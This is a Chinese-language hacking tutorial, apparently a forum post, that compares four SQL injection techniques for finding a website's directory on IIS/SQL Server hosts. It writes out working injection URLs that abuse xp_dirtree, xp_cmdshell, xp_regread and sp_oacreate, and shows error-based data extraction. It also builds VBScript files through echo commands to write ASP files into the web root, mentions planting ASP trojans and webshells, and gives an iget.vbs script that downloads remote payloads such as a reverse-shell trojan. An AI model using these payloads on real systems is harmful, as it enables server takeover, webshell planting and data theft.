SQL Server取得網站路徑的幾種方法及比較

  如果網站只開了80端口,你會發現下面的方法是比較有用的,其中用的方法幾乎都不是我發現的,文總包括一些注入時的個人經驗和技巧方法可以說有4種(現在已知的)
  第一種方法:
  這個是<<怪異的SQL注入>>中介紹的方法
  利用sqlserver的xp_dirtree,好的我們先來將一下方法,然後再說其優劣處(在原文的基礎上作了點補充)
  建立表
  語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
  返回:正常的信息!說明建表成功!繼續!
  (建的比原文的大一點,因爲我遇過名子很長的文件,刪除了那個id,因爲沒有什麽用
  語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 』c:\』 --
  返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。(好像只有暴這種方法了)
  語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
  返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
  將 varchar 值 』@Inetpub』轉換爲數據類型爲 int 的列時發生語法錯誤。
  再依次爆出表中的目錄名稱!
  語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
  dirs where paths not in( 』@Inetpub』))--
  返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
  將 varchar 值 』test』轉換爲數據類型爲 int 的列時發生語法錯誤。
  再依次爆出表中的目錄名稱!
  好我們繼續
  語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
  dirs where paths not in( 』@Inetpub』,』test』))--
  返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
  將 varchar 值 』haha』轉換爲數據類型爲 int 的列時發生語法錯誤。
  再依次爆出表中的目錄名稱!
  好了,你應該知道怎麽做了吧,哈哈,就是把得到的表名添到那個括號裏,有多少就放多少吧,
  一點技巧:
  有時候你會發現當輸入類似
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
  時不是顯示出錯,而是網頁顯示正常
  暈了吧,別緊張哈
  看看0<>(select top 1 paths from dirs) 說明返回是一個數字,
  哈哈,測試一下看看是多少吧
  100>(select top 1 paths from dirs)
  返回正常
  哈哈,用這種大于小于的方法很快就能猜出了
  好我們繼續
  比如當出現
  59=(select top 1 paths from dirs)
  返回正常,
  ok,說明名字是59
  輸入如下
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
  dirs where paths not in( 』59』))--
  記得帶上引號喲
  下面的方法就和原來的一樣的了
  還有一個問題就是
  有時候用上面的方法輸入59時,發現下一次的文件夾還是59
  這個是怎麽回事情呢?
  呵呵,不知道你有沒有注意過059和59是一樣的?
  就是這個原因了,哈哈,
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
  dirs where paths not in( 』059』))--
  發現顯示下一個文件夾名字了,ok
  優缺點分析:
  優點就是所有的sqlserver用戶都可以使用,因爲xp_dirtree適用權限PUBLIC,
  缺點是顯示的是目錄下的所有文件夾的名字,而且排列好像是沒有什麽順序的,總之在好幾千好幾萬個文件夾裏找你想要的文件夾是痛苦的.
  而且你知道了有那個文件夾也不能保證在根目錄下,實在是痛苦的一件事情呀,很多時候是靠運氣和耐力.
  方法二:
  利用xp_cmdshell
  哈哈,這個大家一定很熟悉了吧,我就簡單說一下
  建立表
  語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
  返回:正常的信息!說明建表成功!繼續!
  (建的比原文的大一點,因爲我遇過名子很長的文件,刪除了那個id,因爲沒有什麽用
  語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 』dir c:\ /B/D』 --
  返回:正常信息。說明寫入C盤的所有目錄成功了!這裏用了dir c:\ /B/D,哈哈,不知道/B/D什麽作用就試驗試驗看
  語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
  返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
  將 varchar 值 』@Inetpub』轉換爲數據類型爲 int 的列時發生語法錯誤。
  再依次爆出表中的目錄名稱!
  語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
  dirs where paths not in( 』@Inetpub』))--
  返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07
  將 varchar 值 』test』轉換爲數據類型爲 int 的列時發生語法錯誤。
  再依次爆出表中的目錄名稱!
  方法同上,就不說了
  有時候我們也可以用下面的兩個擴展來幹些事情
  1)我們可以利用xp_availablemedia來獲得當前所有驅動器,並存入dirs表中:
  5 ;insert dirs exec master.dbo.xp_availablemedia;--
  我們可以通過查詢temp的內容來獲得驅動器列表及相關信息
  (2)我們可以利用xp_subdirs獲得子目錄列表,並存入dirs表中:
  5 ;insert into dirs exec master.dbo.xp_subdirs 』c:\』 ;--
  優缺點分析:
  很明顯了,這樣就不會出現xp_dirtree那種所有目錄都放在一起的情況了,只會顯示一級目錄,找起來方便多了.
  缺點也很明顯,只有sa有這個權限,也有可能管理員刪除了這個擴展(畢竟太強大了).
  方法三:
  這種方法很好
  下面這個是原文
  想到了使用adsutil.vbs程序,我是這樣執行的
  a』;exec master..xp_cmdshell 』cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt』;--是不是很長啦通過它我們可以把iis裏面第一個虛擬web站點的設置情況(當然包括它所在的實際目錄咯),導入到a.txt中對于a.txt的實際位置默認當然是c:\winnt\system32,其實這都不是問題,不過遇到管理員把adsutil.vbs,刪了或是放到別的地方我們就沒辦法了(不可能自已用echo 命令寫一個吧)
  第二步:用echo命令寫下面的代碼到c:\中,很多嗎也不算吧
  .....xp_cmdshell 』echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs』;--
  .....xp_cmdshell 』echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs』
  ;--
  .....
  -------------------read.vbs---------------------------------
  set fso1=createobject("scripting.filesystemobject")
  Set WshShell = Wscript.createObject("Wscript.Shell")
  spa=WshShell.Environment("process")("windir")
  set fil =fso1.opentextfile(spa & "\system32\aa.txt")
  do while not fil.atendofstream
  nr=fil.readline
  if left(nr,4)="Path" then
  pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
  exit do
  end if
  loop
  set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
  fil1.writeline ""
  ---------------cut here-------------------------------------
  第三步:當然就是執行read.vbs三,這樣我們可以把aa.txt中的內容讀出來找到web站點的實際路徑
  然後寫一個叫dd.asp的文件在web站的根目錄中,能否成功試試就知道咯
  執行http://x.x.x.x/dd.asp
  返回:\xxx
  哈哈,的確是好方法,
  不過原文好像有點問題
  就是
  set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
  set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
  兩句提交時會出錯
  于是我們想到了加號,和&的功能相同
  還有就是寫點什麽東西到dd.asp呢?寫入pa,哈哈
  哈哈,改成了
  -------------------read.vbs---------------------------------
  set fso1=createobject("scripting.filesystemobject")
  Set WshShell = Wscript.createObject("Wscript.Shell")
  spa=WshShell.Environment("process")("windir")
  set fil =fso1.opentextfile(spa "\system32\aa.txt")
  do while not fil.atendofstream
  nr=fil.readline
  if left(nr,4)="Path" then
  pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
  exit do
  end if
  loop
  set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
  fil1.writeline pa
  ---------------cut here--------------------------------------
  因爲用浏覽器提交時 號被轉換成了空格,所以在提交的時候還應該把變成%2B,好了,應該可以了,如下
  -------------------read.vbs---------------------------------
  set fso1=createobject("scripting.filesystemobject")
  Set WshShell = Wscript.createObject("Wscript.Shell")
  spa=WshShell.Environment("process")("windir")
  set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
  do while not fil.atendofstream
  nr=fil.readline
  if left(nr,4)="Path" then
  pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
  exit do
  end if
  loop
  set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
  fil1.writeline pa
  ---------------cut here--------------------------------------
  如果發現1沒有的話,我們可以該成2,3,4...........
  a』;exec master..xp_cmdshell 』cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt』;--
  但是這種方法只能在windows2000下使用,因爲2003下新建的網站所在地址不是按照1234來排列的,好像是隨機生成的,個人比較過幾個2003下的
  地址,沒有發現什麽規律.
  優缺點分析
  同上xp_cmdshell不是每一個用戶都可以用的!還有一個問題是adsutil文件不一定存在,或者不一定在那個路徑上,當然如果你原意的話你可以用
  echo寫一個(哈哈,老多老多行的喲),另外的一個問題是,如果主機上有很多站點怎麽辦?我遇到過一個有九個站點的主機,膽識只有第8個是有用
  的,暈了吧,很難有人有嗯那個耐性會堅持到那麽多的,早就崩潰了或許.還有就是不能在2003下用!
  不過說實話,這個方法的確是一個好方法
  方法四:
  這個方法是要飯的提到的,通過xp_regread等從注冊表裏讀出路徑
  以下推薦,獲取網頁路徑(通過存儲過程達到對注冊表的讀取):
  利用內置存儲過程 xp_regread(讀取注冊表鍵值,權限public):
  語句:http://www.xxx.com/list.asp?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test
  varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
  SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths
  (path) values(@test)
  IIS的默認路徑的在注冊表中HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
  利用爆字段將數據庫的值讀出來:
  語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)--返回: Microsoft OLE DB Provider for
  ODBC Drivers 錯誤 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 E:\www,,201 轉換爲數據類型爲 int 的
  列時發生語法錯誤。
  這說明網頁目錄在E:\www,接下來也可以利用FSO直接寫入ASP木馬
  如果得不到網頁目錄,怎麽辦呢?前提你要猜到網站是否使用默認WEB,或者使用域名作爲WEB。
  declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,』 cscript.exe c:
  \inetpub\wwwroot\mkwebdir.vbs -w "默認 Web 站點" -v "e","e:\"』
  在默認的WEB站點下創建一個虛擬目錄E,指向E:盤下。
  declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,』 cscript.exe c:
  \inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse』
  給虛擬目錄e加上浏覽屬性不錯吧。給自己開虛擬服務。想那些網頁目錄路徑,頭都快破了。這下給自己一個天開眼了。那傳WEBSHELL利用MS
  SQL爲我們的工作告了一段落了,接下來工作應該由你來了。
  哈哈,方法不錯喲,通過注冊表來讀,方便快捷!
  優缺點分析:
  優點當然是方便快捷了。缺點是只能察看默認的iis站點的路徑,如果不再默認的站點那就無能爲力了(我用regsnape跟蹤過),如果在2003下
  那就是連默認的站點路徑也不顯示了!痛苦中
  順便說兩句,
  實際上除了找網站路徑的方法外,還是有別的方法來繼續入侵的,比如說通過tftp來上傳反彈木馬,或者是通過寫一個iget.vbs來下載你想要的東東
  iget.vbs代碼如下:
  ---------start----------
  Set xPost = createObject("Microsoft.XMLHTTP")
  xPost.Open "GET",LCase(WScript.Arguments(0)),0
  xPost.Send()
  Set sGet = createObject("ADODB.Stream")
  sGet.Mode = 3
  sGet.Type = 1
  sGet.Open()
  sGet.Write(xPost.responseBody)
  sGet.SaveToFile LCase(WScript.Arguments(1)),2
  ----------end-----------
  對此文的在補充
  近日發現對毛主席大人的指示理解不夠深刻,特在此表示補充
  實際上上面的各種方法根本就不需要比較了xp_dirtree是最好的,只要這一種方法就夠了
  只是因爲我當初太..............
  今日將xp_dirtree的秘密再挖一下
  好,我們exec master..xp_dirtree』d:/test』
  假設我們在test裏有兩個文件夾test1和test2在test1裏又有test3
  結果顯示
  subdirectory depth
  test1 1
  test3 2
  test2 1
  哈哈發現沒有那個depth就是目錄的級數
  ok了,知道怎麽辦了吧
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 』d:\』 --
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
  只要加上id=1,就是第一級目錄 。